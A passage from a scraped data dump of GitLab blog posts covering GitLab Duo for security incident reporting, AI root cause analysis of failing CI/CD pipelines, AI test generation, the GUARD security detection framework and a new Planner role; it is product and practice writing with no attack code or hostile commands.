report](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098346/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750098346297.png)\n\nSeveral comments were added as the team would normally proceed:\n\n![Comments added to report](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098346/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098346297.png)\n\n### Incident reporting\n\nGitLab Duo is able to comprehensively keep track of all information inside an incident issue, including the issue description, comments, and labels. When handling security incidents, information often is all over the place and can change over time. It can easily get lost or overlooked. GitLab Duo is excellent at finding relevant information again to create accurate incident reports. \n\nNavigate to your incident issue and open GitLab Duo Chat. You can engineer your prompt so that GitLab Duo takes your exact reporting requirements into account such as what sections you need and how they should be filled out. Here is an example of the prompt we use at GitLab Security:\n\n> Required sections:\n> - Executive Summary - bottom-line-up-front that is adequate for an audience like senior leadership and CISO\n> - Mitigations & Remediations\n> - Scope & Impact (Environments, customers, team members)\n> - Cause\n> - Detection Capabilities\n>\n> Based on the issue and the required section, write the security incident report. Flag any missing information. \n\nBelow is GitLab Duo’s output that we can use to create our extensive incident report:\n\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752175975/Blog/zxiafech08ck9gqjubaz.png\" alt=\"root cause analysis output\" width=\"400\" height=\"1200\">\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752175985/Blog/xjc9coah4oi7rz0daw2b.png\" alt=\"root cause analysis output\" width=\"400\" height=\"1200\">\n\n### Root Cause Analysis\n\nGitLab Duo is able to explain vulnerabilities and can understand the context of an incident issue. These capabilities make GitLab Duo an excellent assistant to perform root cause analyses of security incidents. \n\nAs seen above, GitLab Duo can write its own section on the cause of an incident based entirely on the issue contents. We can dig into this further with the assistance of GitLab Duo to identify several candidates for root cause(s).  \n\nOur prompt is built as such:\n\n> “The root cause of the incident was the exposure of a personal access token in CI job logs. The token was leaked in a project that was not included in the current list of projects for token detection, indicating a gap in the security monitoring process.”\n> Name a few potential root causes for a PAT finding itself in CI job logs.\n\nGitLab Duo’s response is the following:\n\n![GitLab Duo Root Cause Analysis response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098346/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098346298.png)\n\nGitLab Duo Root Cause Analysis can help security teams identify avenues worth investigating. It has a pretty good grasp on security concepts and how Root Cause Analysis is led in general, so it can be a great assistant for these situations where the exact root of the problem is unclear. \n\n> Learn more about [GitLab Duo Root Cause Analysis](https://about.gitlab.com/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd/).\n\n### On-demand updates\n\nSecurity incidents move fast and can be confusing, and information is constantly changing and shifting around. Higher severity incidents require a certain degree of thoroughness when it comes to reporting to senior leadership, especially when the audience is at the Director+ level. Engineers who are in the midst of a security incident can find it difficlut to condense the information such that it is digestable for executives. \n\nWe saw above that GitLab Duo is capable of delivering a pretty good executive summary. When the incident is ongoing, we need to deliver regular updates to senior leadership on the incident status and next steps. GitLab Duo is a great help for that, as well. If information is scattered across the issue in the form of a description or comments, GitLab Duo can help reassemble this information into the “bottom-line-up-front,” or BLUF summary, we need for executive updates. \n\nWe’ve taken the same incident right before token revocation and asked GitLab Duo for a BLUF summary where the audience is the Director of Security Operations. \n\n![Executive Summary - GitLab Duo](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098346/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098346299.png)\n\n## Getting started with GitLab Duo for security\n\nGitLab Security has automated several parts of the reporting process with the help of GitLab Duo. But to get started, all you need is access to GitLab Duo Chat. GitLab Duo Chat can be your well-informed assistant for many security reporting cases and post-mortem analyses.\n\n## What’s next for GitLab Duo?\n\nGitLab is committed to continuously enhancing GitLab Duo’s capabilities. Future developments aim to integrate AI-driven features more deeply into the security workflow, providing proactive detection and resolution of vulnerabilities, streamlined incident management, and comprehensive reporting tools. These advancements will further empower security teams to maintain robust security postures and respond effectively to emerging threats.\n\n> [Try GitLab Duo for 60 days for free](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/)!\n",[790,696,674,754,479],{"slug":3610,"featured":6,"template":678},"how-to-leverage-gitlab-duo-for-enhanced-security-reporting","content:en-us:blog:how-to-leverage-gitlab-duo-for-enhanced-security-reporting.yml","How To Leverage Gitlab Duo For Enhanced Security Reporting","en-us/blog/how-to-leverage-gitlab-duo-for-enhanced-security-reporting.yml","en-us/blog/how-to-leverage-gitlab-duo-for-enhanced-security-reporting",{"_path":3616,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3617,"content":3623,"config":3627,"_id":3629,"_type":16,"title":3630,"_source":17,"_file":3631,"_stem":3632,"_extension":20},"/en-us/blog/quickly-resolve-broken-ci-cd-pipelines-with-ai",{"title":3618,"description":3619,"ogTitle":3618,"ogDescription":3619,"noIndex":6,"ogImage":3620,"ogUrl":3621,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3621,"schema":3622},"Quickly resolve broken CI/CD pipelines with AI","When your CI/CD pipeline fails, it leads to delays, decreased productivity, and stress. AI-powered Root Cause Analysis makes problem-solving faster and smarter.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097355/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2811%29_78Dav6FR9EGjhebHWuBVan_1750097355230.png","https://about.gitlab.com/blog/quickly-resolve-broken-ci-cd-pipelines-with-ai","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Quickly resolve broken CI/CD pipelines with AI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2024-12-03\",\n      }",{"title":3618,"description":3619,"authors":3624,"heroImage":3620,"date":3587,"body":3625,"category":791,"tags":3626},[691],"CI/CD pipelines are the backbone of efficiency in software development. They help teams test, build, and deploy code quickly. But when these pipelines break, everything slows down — deadlines get missed, and developers are left frustrated as they work to fix things and keep projects on track.\n\n![CI/CD pipeline with multiple failed jobs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097362/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097362772.png)\n\n\u003Ccenter>\u003Ci>CI/CD pipeline with multiple failed jobs\u003C/i>\u003C/center>\u003Cbr>\u003C/br>\n\n**So, why do pipelines break in the first place?** Let’s break it down.\n\n## Reasons for pipeline failures\n\nA pipeline failure occurs when the automated workflow in your [CI/CD pipeline](https://about.gitlab.com/topics/ci-cd/cicd-pipeline/) — a series of steps that can include building, testing, and deploying code — does not execute as expected and ends with an error message. This failure can prevent code from being properly built, tested, or deployed, causing delays in software delivery and requiring troubleshooting to resolve. \n\nPipeline failures can happen for a variety of reasons. Some common causes include:\n- Syntax errors: A small mistake in the code, like a missing semicolon or incorrect variable name, can cause the pipeline to fail.\n- Failed tests: Unit or integration tests might fail due to broken code, incorrect configurations, or mismatched dependencies.\n- Misconfigurations: Incorrect pipeline settings or environment configurations can lead to failed builds or deployments.\n\nThere are also more complex issues that add to the challenge:\n- Infrastructure-as-Code ([IaC](https://about.gitlab.com/topics/gitops/infrastructure-as-code/)) issues: Problems in provisioning cloud infrastructure, such as errors in Terraform scripts or CloudFormation templates, can prevent a successful deployment.\n- Kubernetes and GitOps challenges: Misconfigurations in [Kubernetes clusters](https://about.gitlab.com/blog/kubernetes-the-container-orchestration-solution/) or issues with [GitOps](https://about.gitlab.com/topics/gitops/) workflows (e.g., syncing Kubernetes states with Git repositories) can cause pipeline failures that are difficult to diagnose.\n- Long, messy stack traces: When an error occurs deep in the system, stack traces can become long and hard to decipher, especially when they span multiple components or services.\n\nThese challenges make troubleshooting more difficult and time-consuming, as finding the root cause often involves sifting through complex logs, reviewing configuration files, and testing different solutions.\n\n## The real impact of failed pipelines\n\nWhen a pipeline fails, it doesn’t just delay your deployment — it brings stress and frustration. Developers are forced to pause their work and dive into troubleshooting, which often leads to a chain reaction of disruptions. This makes it harder to meet deadlines and increases the pressure on the entire team. But why is manual troubleshooting so stressful?\n\n### Manual troubleshooting \n\nThe time it takes to fix a broken pipeline varies. It depends on things like:\n- How well the developer knows the project\n- How experienced they are with similar issues\n- Their overall problem-solving skills\n\nManually digging through logs to figure out what went wrong is a tough and tedious process. Logs can come from all over the place, including application errors and system messages, and they’re often messy and hard to interpret. And on top of that, fixing the pipeline usually requires a lot of jumping back and forth between tasks, adding more time to the process.\n\nThis is where [GitLab Duo](https://about.gitlab.com/gitlab-duo/) comes in. GitLab Duo can sift through all that messy data and spot issues much faster, simplifying the process so you don’t need to be an expert to figure out what went wrong. With AI, fixing your pipelines becomes faster, easier, and much less stressful.\n\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176104/Blog/zxvvu7p9vc3qpmwl32ya.png\" alt=\"broken pipeline\">\n\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176108/Blog/bpx6dqilfhltzboyp8k8.png\" alt=\"fix suggestions for broken pipelines\">\n\n## GitLab Duo Root Cause Analysis with generative AI\n\nWhen your CI/CD pipeline breaks, you don’t have to spend hours manually troubleshooting. Enter [GitLab Duo’s Root Cause Analysis (RCA)](https://docs.gitlab.com/ee/user/gitlab_duo/#root-cause-analysis). This AI-powered tool quickly identifies the exact cause of the failure and suggests fixes — right within the DevSecOps platform. No matter how long or complicated your stack traces are, RCA analyzes all the data, breaks it down, and gives you clear, actionable insights.\n\n**It tells you exactly what caused the error, provides steps to fix it, and even pinpoints the specific files and lines of code that need attention.** And, to make it even easier, it suggests code fixes to get everything back on track. This makes troubleshooting a lot faster and more straightforward.\n\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176111/Blog/nmagby9hoksskogve53m.png\" alt=\"root cause of failure\">\n\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176115/Blog/dndis1cedwbmbnj33q3v.png\" alt=\"example fix\">\n\n## Keep the conversation going with follow-up questions\n\nWith GitLab Duo RCA, you don’t just get answers — you can ask follow-up questions to dig deeper. Want to explore alternative solutions? No problem. You can add [more context](https://docs.gitlab.com/ee/user/gitlab_duo_chat/index.html#the-context-chat-is-aware-of) by referencing other files, issues, or epics in your repo. For example, you could open your `.gitlab-ci.yml` file in the IDE and ask the chat, “Based on this file, and the analyzed CI/CD pipeline, how would you propose to optimize the pipeline?” \n\n## Privacy first – everything stays in GitLab\nOne of the key benefits of GitLab Duo RCA is that it works right out of the box within GitLab. You won’t have to switch tools or go hunting for external help. Plus, your [logs and sensitive data stay secure](https://about.gitlab.com/privacy/) - there’s no need to send them off to external AI solutions. RCA is seamlessly integrated within GitLab, offering valuable insights without ever compromising privacy.\n\n![broken pipelines - image 6](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097363/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097362773.png)\n\n## Get started today\n\nWant to see how AI can supercharge your development process, making it smoother and faster? Dive into our GitLab Duo Enterprise product tour below and discover how GitLab Duo’s AI-powered insights can transform every stage of your development journey — from planning and coding to troubleshooting and deployment. Click the image below to start the tour!\n\n[![GitLab Duo Enterprise tour](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097363/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2024-12-02_at_12.41.10_PM_aHR0cHM6_1750097362774.png)](https://gitlab.navattic.com/duo-enterprise)\n\n> [Start a free, 60-day trial of GitLab Duo today!](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/)",[790,479,696,754],{"slug":3628,"featured":6,"template":678},"quickly-resolve-broken-ci-cd-pipelines-with-ai","content:en-us:blog:quickly-resolve-broken-ci-cd-pipelines-with-ai.yml","Quickly Resolve Broken Ci Cd Pipelines With Ai","en-us/blog/quickly-resolve-broken-ci-cd-pipelines-with-ai.yml","en-us/blog/quickly-resolve-broken-ci-cd-pipelines-with-ai",{"_path":3634,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3635,"content":3641,"config":3646,"_id":3648,"_type":16,"title":3649,"_source":17,"_file":3650,"_stem":3651,"_extension":20},"/en-us/blog/automating-with-gitlab-duo-part-1-generating-tests",{"title":3636,"description":3637,"ogTitle":3636,"ogDescription":3637,"noIndex":6,"ogImage":3638,"ogUrl":3639,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3639,"schema":3640},"Automating with GitLab Duo, Part 1: Generating tests","Learn how we used the AI-driven DevSecOps platform to generate automated tests and improve our development speed and quality.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097480/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%284%29_3LZkiDjHLjhqEkvOvBsVKp_1750097480784.png","https://about.gitlab.com/blog/automating-with-gitlab-duo-part-1-generating-tests","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Automating with GitLab Duo, Part 1: Generating tests\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Byron Boots\"}],\n        \"datePublished\": \"2024-12-02\",\n      }",{"title":3636,"description":3637,"authors":3642,"heroImage":3638,"date":3643,"body":3644,"category":791,"tags":3645},[3359],"2024-12-02","Automated testing is time-consuming and can feel like it’s not moving a project forward. However, as many developers have likely experienced, automated testing provides an overall positive return on investment. In building a custom module (we'll call it gitlab-helper for this article), this was particularly true.\n\nOur initial development focused on migrating tried and used functionality from existing scripts to a new module whose sole purpose was to serve as a baseline for future functionality. Although existing scripts lacked automated testing, their consistent usage was strong anecdotal evidence the functionality worked as expected.\n\nOur objective was to deliver a more mature solution to this problem, so automated testing became a necessity. This introduced the challenge of building efficiently, while balancing the time to test and ensure a robust product; and with a total of three team members, this was no small bottleneck. Therefore, the team decided to take advantage of [GitLab Duo](https://about.gitlab.com/gitlab-duo/), our suite of AI capabilities, for test generation, improving speed and quality of the delivered product.\n\nIn this three-part series on automating with GitLab Duo, we will cover:\n\n1. How we used GitLab Duo to generate tests for our code  \n2. How we worked interactively with GitLab Duo for more complex situations  \n3. The results we were able to achieve (Spoiler: 1 developer + GitLab Duo = 84% coverage in 2 days)\n\n## Using GitLab Duo to generate tests for code\n\nWhile functionality is available across tools, this article will cover using GitLab Duo in VS Code, with the [GitLab Workflow extension for VS Code](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow) to generate tests. Links to other GitLab Duo options are available in the [references](#references) below.\n\n### Install and enable GitLab Duo\n\nAs a prerequisite to using GitLab Duo, we ensured we had a GitLab Duo-enabled account. If you don't have GitLab Duo, you can [sign up for a free 60-day trial](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/?type=free-trial).\n\nTo use GitLab Duo Chat in VS Code, we followed the [instructions for installation](https://docs.gitlab.com/ee/user/gitlab_duo_chat/#use-gitlab-duo-chat-in-vs-code). Then, we were able to see the GitLab Duo Chat extension on the sidebar and open the Chat window.\n\n![Ask a question window](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097489/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097488918.png)\n\n### Generate tests with Chat\n\ngitlab-helper is a custom module built for standardizing interaction with the GitLab API across the team's work and extends other library functionalities to simplify development and scripting work. Once a method or feature was migrated to gitlab-helper and appeared to be implemented appropriately, the process to generate tests for it was simple:\n- Select the method, class, or entire file in the IDE.\n- Right-click on the selected code.\n- Under **GitLab Duo Chat**, select **Generate tests**.\n\n![Sequence to generate tests, including drop-down for generate tests](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097489/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097488919.png)\n\nWithin a few seconds, tests were generated and presented in the GitLab Duo Chat window. These tests can be reviewed and or added to the codebase, via copy/paste, into existing or new test files. As is the case with most natural language processing generations today, particularly around context, some of the initial tests created by GitLab Duo failed, thus requiring finetuning (for instance, when dealing with nested dependencies).\n\n> **Pro tip:** GitLab Duo does not auto-create files to add generated tests to. We found it was helpful to create new test files and add a `# Tests Generated by Duo` comment at the top of them and suffix them with `_duo.py` to indicate where the tests came from.\n\nGitLab Duo provided a great starting point for building out gitlab-helper’s automated testing and greatly improved test writing efficiency and code coverage, speeding up the development process substantially. Alongside GitLab Duo, numerous iterations of valuable tests were introduced into the gitlab-helper module with human oversight.\n\nRead the next installment in this series where we share [what we learned while using GitLab Duo for generating automated tests](https://about.gitlab.com/blog/automating-with-gitlab-duo-part-2-complex-testing/) and working interactively with AI for more complex situations.\n\n## References\n\nThere’s more than one way to use GitLab Duo to generate tests, check out the other options below:\n\n* The GitLab UI  \n* [The GitLab Web IDE (VS Code in the cloud)](https://docs.gitlab.com/ee/user/project/web_ide/index.html)  \n* VS Code, with the [GitLab Workflow extension for VS Code](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow)  \n* JetBrains IDEs, with the [GitLab Duo Plugin for JetBrains](https://plugins.jetbrains.com/plugin/22325-gitlab-duo)  \n* Visual Studio for Windows, with the [GitLab Extension for Visual Studio](https://marketplace.visualstudio.com/items?itemName=GitLab.GitLabExtensionForVisualStudio)\n",[790,696,942,479,754],{"slug":3647,"featured":6,"template":678},"automating-with-gitlab-duo-part-1-generating-tests","content:en-us:blog:automating-with-gitlab-duo-part-1-generating-tests.yml","Automating With Gitlab Duo Part 1 Generating Tests","en-us/blog/automating-with-gitlab-duo-part-1-generating-tests.yml","en-us/blog/automating-with-gitlab-duo-part-1-generating-tests",{"_path":3653,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3654,"content":3659,"config":3664,"_id":3667,"_type":16,"title":3668,"_source":17,"_file":3669,"_stem":3670,"_extension":20},"/en-us/blog/gitlab-patch-release-17-6-1-17-5-3-17-4-5",{"title":3655,"description":3429,"ogTitle":3655,"ogDescription":3429,"config":3656,"ogImage":3431,"ogUrl":3657,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3657,"schema":3658},"GitLab Patch Release: 17.6.1, 17.5.3, 17.4.5",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-6-1-17-5-3-17-4-5","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.6.1, 17.5.3, 17.4.5\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ottilia Westerlund\"}],\n        \"datePublished\": \"2024-11-26\",\n      }",{"title":3655,"description":3429,"authors":3660,"heroImage":3431,"date":3661,"body":3662,"category":674,"tags":3663},[2890],"2024-11-26","This is the post for [GitLab Patch Release: 17.6.1, 17.5.3, 17.4.5](https://about.gitlab.com/releases/2024/11/26/patch-release-gitlab-17-6-1-released/).",[1464],{"slug":3665,"featured":6,"template":678,"externalUrl":3666},"gitlab-patch-release-17-6-1-17-5-3-17-4-5","https://about.gitlab.com/releases/2024/11/26/patch-release-gitlab-17-6-1-released/","content:en-us:blog:gitlab-patch-release-17-6-1-17-5-3-17-4-5.yml","Gitlab Patch Release 17 6 1 17 5 3 17 4 5","en-us/blog/gitlab-patch-release-17-6-1-17-5-3-17-4-5.yml","en-us/blog/gitlab-patch-release-17-6-1-17-5-3-17-4-5",{"_path":3672,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3673,"content":3678,"config":3683,"_id":3685,"_type":16,"title":3686,"_source":17,"_file":3687,"_stem":3688,"_extension":20},"/en-us/blog/unveiling-the-guard-framework-to-automate-security-detections-at-gitlab",{"title":3674,"description":3675,"ogTitle":3674,"ogDescription":3675,"noIndex":6,"ogImage":1219,"ogUrl":3676,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3676,"schema":3677},"Unveiling the GUARD framework to automate security detections at GitLab","The GitLab Universal Automated Response and Detection (GUARD) framework spans creation, maintenance, alert routing and handling, rich metrics collection, and more.","https://about.gitlab.com/blog/unveiling-the-guard-framework-to-automate-security-detections-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Unveiling the GUARD framework to automate security detections at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Harjeet Sharma\"},{\"@type\":\"Person\",\"name\":\"Valentine Mairet\"},{\"@type\":\"Person\",\"name\":\"Matt Coons\"}],\n        \"datePublished\": \"2024-11-26\",\n      }",{"title":3674,"description":3675,"authors":3679,"heroImage":1219,"date":3661,"body":3681,"category":674,"tags":3682,"updatedDate":3661},[3680,3606,1403],"Harjeet Sharma","[GitLab Security Operations](https://handbook.gitlab.com/handbook/security/security-operations/) leverages automation as a guiding principle to ensure our security engineers have the time to focus on what matters, not manual mundane tasks that can be standardized and automated. We applied this principle to securing the GitLab.com SaaS platform, which generates terabytes of log data daily and requires the GitLab Security team to standardize, automate, and scale security workflows for enhanced protection and efficiency. The result: a new framework we call GitLab Universal Automated Detection and Response, or GUARD – a collaboration between the GitLab [Security Incident Response Team (SIRT)](https://handbook.gitlab.com/handbook/security/security-operations/sirt/) and the [Signals Engineering Team](https://handbook.gitlab.com/handbook/security/security-operations/signals-engineering/).\n\nGUARD covers all aspects of security detection, including:\n* creation\n* maintenance\n* alert routing and handling\n* rich metrics collection\n* alert closure or incident escalation workflow \n\n## The goals of GUARD  \n\nGUARD was created and designed with a set of key goals: \n\n1. **Standardization of SIRT’s detection and alerting pipeline** to produce high-quality detections using a peer reviewed and automation-first focus  \n2. **Reduction of alert fatigue** through alert consolidation, deduplication, risk scoring, and automated feedback  \n3. **Metrics** to measure response efficiency and identify problems early  \n4. **GitLab at the core** by leveraging GitLab as a single source of truth for detection definitions\n\n## GUARD's design principles\n\nGUARD was created out of necessity, with a clear vision of the intended state. Before GUARD, detections did not follow a standard format, alerting metrics were not available, and detection creation and maintenance were ad-hoc. Building a framework that was scalable, GitLab-centric, and able to automate manual tasks was core to the success of GUARD. Due to time efficiencies realized by GUARD, SecOps engineers have more time to solve difficult problems and handle complex incidents. \n\n## GUARD components \n\nThe GUARD framework consists of multiple modules. At the center of GUARD is the GitLab platform itself, acting as a single source of truth for detection rules and providing SIRT the ability to automatically deploy detections as code using GitLab CI/CD. \n\nGUARD includes the following components: \n\n- Detection as Code (DaC) - Deploys detections through the GitLab CI/CD pipeline.  \n- User Attestation Module - Allows GitLab team members to attest to activities flagged as potentially malicious.  \n- Enrichments - Polling historical and contextual information to enrich alerts to make alert triage easier.  \n- Alert Triage and Response - Providing a standard alert triage format and templated escalation actions.  \n- Metrics Generation - Gathering insights on alert handling. \n\nEach GUARD module works together to standardize, automate, and iteratively improve GitLab’s security detections and alerting pipeline. \n\n## GitLab at the core\n\nGitLab is core to critical components of GUARD, acting as a single source for threat detections, automating GUARD’s DaC pipeline through GitLab CI/CD, and acting as a “front end” for GUARD, through which security engineers can add, edit and delete threat detections. \n\nHow GitLab features use GUARD: \n\n- [GitLab projects](https://docs.gitlab.com/ee/user/get_started/get_started_projects.html): GUARD utilizes a GitLab project repository as the single source for GUARD threat detections, stored in JSON format.   \n- [GitLab MRs](https://docs.gitlab.com/ee/user/project/merge_requests/): Any changes to GUARD detections, including new detections utilize GitLab MRs against the main GUARD project. A detailed MR template is utilized in which we validate and record details about the detection being added, edited, or deleted. MR approval rules, including the use of CodeOwners and protected branches, are used to ensure proper detection reviews are completed before merging.   \n- [GitLab issues](https://docs.gitlab.com/ee/user/project/issues/): Bug submissions or other engineering efforts related to GUARD are recorded in GitLab issues.   \n- [GitLab labels](https://docs.gitlab.com/ee/user/project/labels.html): A set of standardized labels ensure security engineers document GUARD changes in a way that is easy to track.   \n- [GitLab CI/CD](https://docs.gitlab.com/ee/ci/): GUARD uses a GitLab CI pipeline to automate the deployment of new/changed/deleted detections to GitLab’s security incident and event management (SIEM). GUARD’s CI pipeline performs a number of validation, testing, and quality checks before successfully passing the pipeline and committing the changes to GitLab’s SIEM platform. \n\n## Metrics generation\n\nInteractions with the alert handling UI are recorded to generate key performance metrics, such as Time to Respond, Time to Resolve, and insights into alerts like true/false positive rates. Additional metadata collected includes an emoji-based sentiment analysis. Engineers handling alerts provide ‘feedback’ about the alerts handled in the form of emojis, so we can take that feedback into account upon iterating on detection rules. \n\nAlert handling metrics are stored in a separate database to create visualizations consulted by engineers and management. These are key to understanding team performance in alert resolution and alert fidelity so that we can always improve.  \n\n## Iterate with us\n\nUsing GitLab as a single source of truth for threat detection code allowed GUARD to extract processes from a specific SIEM technology, supporting greater flexibility, ease of use, modularization, and auditability. \n\n[Iteration](https://handbook.gitlab.com/handbook/values/#iteration) is a core GitLab value – we start with the smallest valuable thing to get fast feedback and efficiently reach a desired end goal. GUARD is no different, and we hope sharing GUARD will help readers iterate towards their own automation improvements. \n\n*This article is the first in a series on GitLab GUARD. Next, we will share details about various aspects of our iterative journey to implement GUARD at GitLab.*",[674,754,479],{"slug":3684,"featured":92,"template":678},"unveiling-the-guard-framework-to-automate-security-detections-at-gitlab","content:en-us:blog:unveiling-the-guard-framework-to-automate-security-detections-at-gitlab.yml","Unveiling The Guard Framework To Automate Security Detections At Gitlab","en-us/blog/unveiling-the-guard-framework-to-automate-security-detections-at-gitlab.yml","en-us/blog/unveiling-the-guard-framework-to-automate-security-detections-at-gitlab",{"_path":3690,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3691,"content":3696,"config":3701,"_id":3703,"_type":16,"title":3704,"_source":17,"_file":3705,"_stem":3706,"_extension":20},"/en-us/blog/introducing-gitlabs-new-planner-role-for-agile-planning-teams",{"title":3692,"description":3693,"ogTitle":3692,"ogDescription":3693,"noIndex":6,"ogImage":2083,"ogUrl":3694,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3694,"schema":3695},"Introducing GitLab’s new Planner role for Agile planning teams","Learn how GitLab’s new Planner role helps Agile teams manage planning workflows, with tailored access across SaaS, Dedicated, and Self-managed solutions.","https://about.gitlab.com/blog/introducing-gitlabs-new-planner-role-for-agile-planning-teams","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing GitLab’s new Planner role for Agile planning teams\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"}],\n        \"datePublished\": \"2024-11-25\",\n      }",{"title":3692,"description":3693,"authors":3697,"heroImage":2083,"date":3698,"body":3699,"category":1897,"tags":3700},[1894],"2024-11-25","GitLab launched a new role within the DevSecOps platform – the Planner. Built to align with GitLab’s strategy of providing flexible, role-based access controls, as demonstrated by the release of [custom roles](https://docs.gitlab.com/ee/user/custom_roles.html), the Planner role gives software development teams and planning-focused users access to the tools they need to manage Agile workflows without over-provisioning permissions that could introduce unnecessary risks. By tailoring access to meet specific user needs, the Planner role ensures teams can stay productive while maintaining security and compliance, adhering to the [principle of least privilege](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/).\n\n## Why we created the Planner role\n\nOur journey to this new role started with feedback from our customers and internal teams. We consistently heard that while GitLab offers comprehensive tools for planning and managing Agile development cycles, there was a need for more specific role-based access controls. Product managers, project leads, and other planning roles often required access to planning features but didn’t need full development permissions. In fact, giving them broader access is undesirable, as it increases security risks and potential for errors, such as making unintended changes to code or sensitive configurations. We listened.\n\nThrough user interviews, competitive analysis, and extensive research, we validated the need for a role that grants full access to planning tools while maintaining security by restricting access to developer-centric features.\n\n## What does the Planner role offer?\n\nThe Planner role is a hybrid of the existing [Guest and Reporter roles](https://docs.gitlab.com/ee/user/permissions.html#roles) but designed specifically for those who need access to planning workflows. \n\nHere’s what you can expect:\n\n* Access to key planning tools like epics, roadmaps, issue boards, and [OKRs](https://docs.gitlab.com/ee/user/okrs.html) (*some features may require a GitLab Premium or Ultimate license*)  \n* Enhanced security by limiting unnecessary access to sensitive development features  \n* The Planner role can be used in conjunction with the Enterprise Agile Planning add-on, providing teams with tailored access to planning tools while maintaining security and control.  (*however, the Planner role itself is available on all license tiers*).\n\nThe Planner role is available across all GitLab solutions, including SaaS, GitLab Dedicated, and Self-managed, ensuring that all customers can benefit from this tailored access.\n\nThis role gives teams the flexibility to align permissions with job functions, creating a balance between accessibility and security.\n\n## How the Planner role supports Agile practices\n\nIn [Agile software development](https://about.gitlab.com/blog/categories/agile-planning/), ensuring that each team member has the right tools and permissions to perform their role is crucial for workflow efficiency. The Planner role supports this by allowing planning team members to fully participate in the planning stages of the software development lifecycle without the risk of overstepping into areas like development or deployment.\n\nFrom creating and managing epics to defining roadmaps, the Planner role gives Agile teams the tools they need to stay aligned and productive.\n\n## Customer-centric design\n\nWe didn’t create this role in isolation. We involved our community in the process every step of the way. Through surveys, interviews, and testing, we fine-tuned the permissions to make sure they fit the real-world needs of product and project managers.\n\nThe role also aligns with GitLab’s long-standing mission to be a platform for enterprise Agile teams, giving businesses the flexibility and control to implement Agile methodologies at scale.\n\n## Community feedback and engagement \n\nWe value your input and encourage you to share your experiences with the new Planner role. Your feedback is essential to help refine and improve your GitLab experience. Please visit our [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/503817) to provide your thoughts and suggestions.\n\n## Start planning with GitLab today!\n\nThe Planner role is just one of the many ways GitLab empowers software development teams to plan, collaborate, and deliver efficiently. Whether you’re looking to streamline your product management workflows, improve team collaboration, or align your Agile practices, GitLab has the tools to help you succeed.\n\n> Ready to experience the full power of GitLab? [Sign up for a free 60-day GitLab Ultimate trial](https://about.gitlab.com/free-trial/) and start planning your next project with the Planner role, tailored to fit your team's unique needs.\n\n## Read more\n- [Beyond Devs: GitLab Enterprise Agile Planning add-on for all roles](https://about.gitlab.com/blog/gitlab-enterprise-agile-planning-add-on-for-all-roles/)\n- [How to use GitLab for Agile software development](https://about.gitlab.com/blog/gitlab-for-agile-software-development/)\n- [First look: The new Agile planning experience in 